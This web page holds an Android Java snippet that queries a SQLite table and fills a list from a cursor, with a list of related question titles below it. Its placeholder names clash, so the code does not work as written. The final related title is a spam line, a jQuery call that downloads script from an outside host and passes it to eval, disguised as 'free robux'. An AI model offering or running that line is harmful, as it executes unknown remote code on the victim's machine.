/Java/Get data from database sqlite android

Get data from database sqlite android

//Put this in your DAO or actyvity

public ArrayList<yourclass> getfromdatabase() {
String strSql = "select * from yourtable";
getdatabase = new ArrayList<yourclass>();
SQLiteDatabase db = dbHelper.getReadableDatabase();
Cursor c = db.rawQuery(strSql, null);
if (c.moveToFirst()) {
do {
      yourclass = new yourclass();
      yourclass.setId(c.getInt(c.getColumnIndex("yourcolumnname")));
      yourclass.setTitulo(c.getString(c.getColumnIndex("yourcolumnname")));
      yourclass.setTexto(c.getString(c.getColumnIndex("yourcolumnname")));
      yourclass.setTipo(c.getString(c.getColumnIndex("yourcolumnname")));
      getdatabase.add(yourclass);
   } while (c.moveToNext());
}
     return getdatabase;
}

Similar codes

0 vote103 views1 answer
How to implement count steps in android
Java
1 vote149 views1 answer
How to change the icon of a jframe
Java
0 vote108 views1 answer
How to extract value from payload in java
Java
-1 vote110 views1 answer
Annotation spring notnull
Java Spring
0 vote101 views1 answer
How to launch app in your android mobile phone
Java
1 vote114 views1 answer
How to give square in java
Java
1 vote93 views1 answer
Processing string to int
Java
0 vote106 views1 answer
How to initialize class object as null in java
Java
4 votes95 views1 answer
How to change theme of app in android studio programmatically
Java
0 vote103 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Java